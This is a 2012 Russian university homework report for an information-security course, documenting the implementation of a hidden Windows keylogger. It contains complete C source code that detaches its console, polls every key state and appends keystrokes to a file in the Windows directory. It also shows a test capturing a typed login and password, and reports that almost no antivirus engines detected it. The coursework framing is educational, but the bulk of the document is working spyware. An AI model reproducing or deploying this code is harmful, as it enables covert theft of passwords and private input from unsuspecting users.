ИДЗ Клавиатурный шпион
.docЛипецкий государственный технический университет
Кафедра автоматизированных систем управления
Индивидуальное домашнее задание
по методам и средствам защиты
Реализация клавиатурного шпиона
|
Студент |
|
|
|
Филатов А.А. |
|
||||||||
|
|
|
подпись, дата |
|
фамилия, инициалы |
|
||||||||
|
Группа |
|
АС-09-2 |
|
|
|
|
|||||||
|
|
|
|
|
|
|
||||||||
|
Принял |
|
|
|
|
|
||||||||
|
|
|
|
|
Батищев Р.В. |
|
||||||||
|
ученая степень, звание |
|
подпись, дата |
|
фамилия, инициалы |
|
Липецк 2012
1. Задание
Реализовать клавиатурный шпион. Программа должна записывать данные о всех нажатиях/отжатиях клавиш в файл. Визуально работу программы не должно быть видно.
2. Краткие теоретические сведения
Клавиатурный шпион (или на английском keylogger) представляет собой специальное программное обеспечение, которое собирает историю нажатия клавиш и выводит это в виде текстовой информации, которую набирал пользователь на клавиатуре.
В большинстве случаев клавиатурные шпионы или keylogger работают в невидимом режиме - пользователь компьютера не подозревает, что за ним ведётся наблюдение. Программы шпионы обычно маскируются под системные процессы или работают как службы, благодаря чему просто отсутствуют в списках запущенных процессов Windows. Обнаружить клавиатурный шпион достаточно сложно.
Немногие антивирусы способны определить профессиональный клавиатурный шпион. Однако в любом случае необходимо своевременно обновлять антивирусные базы и желательно установить модуль защиты от шпионского программного обеспечения, которым обладают практически все антивирусы.
Чаще всего keylogger используют нелегально для специфических целей - воровство паролей к различным системам авторизации, почте, банковскому счёту, сайтам знакомств и т.д.. Однако существует и легальные пути применения клавиатурных шпионов:
-
Для логирования действий сотрудников на работе (эту возможность используют службы безопасности - иногда требуется восстановить порядок действий пользователя для предотвращения возможных утечек информации);
-
Для получения статистики работы (актуально для копирайтеров, стенографистов и т.д.);
-
Для контроля использования конфиденциальной информации.
3. Текст программы
#include <stdio.h>
#include <windows.h>
#include <Winuser.h>
#define VK_ALT 0x12
void keys(int key,char *file, bool isPressed)
{
FILE *key_file;
key_file = fopen(file,"a+");
if(isPressed && key>6)
fprintf(key_file,"{V}");
else if(key>6)
fprintf(key_file,"{^}");
if (key==8)
fprintf(key_file,"%s","[del]");
else if (key==13)
fprintf(key_file,"%s","\n");
else if (key==32)
fprintf(key_file,"%s"," ");
else if (key==VK_CAPITAL)
fprintf(key_file,"%s","[Caps]");
else if (key==VK_TAB)
fprintf(key_file,"%s","[TAB]");
else if (key==VK_ALT)
fprintf(key_file,"%s","[ALT]");
else if (key ==VK_SHIFT)
fprintf(key_file,"%s","[SHIFT]");
else if (key ==VK_CONTROL)
fprintf(key_file,"%s","[CTRL]");
else if (key ==VK_PAUSE)
fprintf(key_file,"%s","[PAUSE]");
else if (key ==VK_KANA)
fprintf(key_file,"%s","[Kana]");
else if (key ==VK_ESCAPE)
fprintf(key_file,"%s","[ESC]");
else if (key ==VK_END)
fprintf(key_file,"%s","[END]");
else if (key==VK_HOME)
fprintf(key_file,"%s","[HOME]");
else if (key ==VK_LEFT)
fprintf(key_file,"%s","[LEFT]");
else if (key ==VK_UP)
fprintf(key_file,"%s","[UP]");
else if (key ==VK_RIGHT)
fprintf(key_file,"%s","[RIGHT]");
else if (key ==VK_DOWN)
fprintf(key_file,"%s","[DOWN]");
else if (key ==VK_SNAPSHOT)
fprintf(key_file,"%s","[PRINT]");
else if (key ==VK_NUMLOCK)
fprintf(key_file,"%s","[NUM LOCK]");
else if (key ==190 || key==110)
fprintf(key_file,"%s",".");
else if (key >=96 && key <= 105)
{
key = key - 48;
fprintf(key_file,"%s",&key);
}
else
{
if (key >=48 && key <= 59)
fprintf(key_file,"%s",&key);
else if (key !=VK_LBUTTON || key !=VK_RBUTTON)
{
if (key >=65 && key <=90)
{
if (GetKeyState(VK_CAPITAL))
fprintf(key_file,"%s",&key);
else
{
key = key +32;
fprintf(key_file,"%s",&key);
}
}
}
}
fclose(key_file);
}
int main()
{
char i;
char test[MAX_PATH];
bool isKeyDown[190], a;
GetWindowsDirectory((LPWSTR)test,sizeof(test));
strcat(test,"keys.txt");
for(int i = 8; i<= 190;i++)
isKeyDown[i] = GetAsyncKeyState(i);
FreeConsole();
while(1)
{
for(i=8;i<=190;i++)
{
a = (GetAsyncKeyState(i) & 0x8000);
if(isKeyDown[i] != a)
{
isKeyDown[i]=a;
keys(i,test,a);
}
}
}
}
4. Тестовый пример
Для проверки работы программы после запуска была открыта форма авторизации в браузере, и введены данные “admin” “password” в соответствующие поля.
В результате в файле была записана следующая информация:
{^}{V}a{V}d{^}a{^}d{V}m{V}i{^}m{V}n{^}i{^}n{V}[TAB]{^}[TAB]{V} p{^}p{V}a{^}a{V}s{^}s{V}s{^}s{V}w{^}w{V}o{^}o{V}r{^}r{V}d{^}d{V} {^} |
Здесь последовательность {V} обозначает нажатие клавиши, а {^} – отжатие.
5. Вывод
В данном индивидуальном домашнем задании был реализован простейший клавиатурный шпион, записывающий в файл нажатия/отжатия клавиш.
Анализ программы на virustotal.com показал, что из 45 антивирусов только один выразил недоверие - CAT-QuickHeal () : (Suspicious) – DNAScan.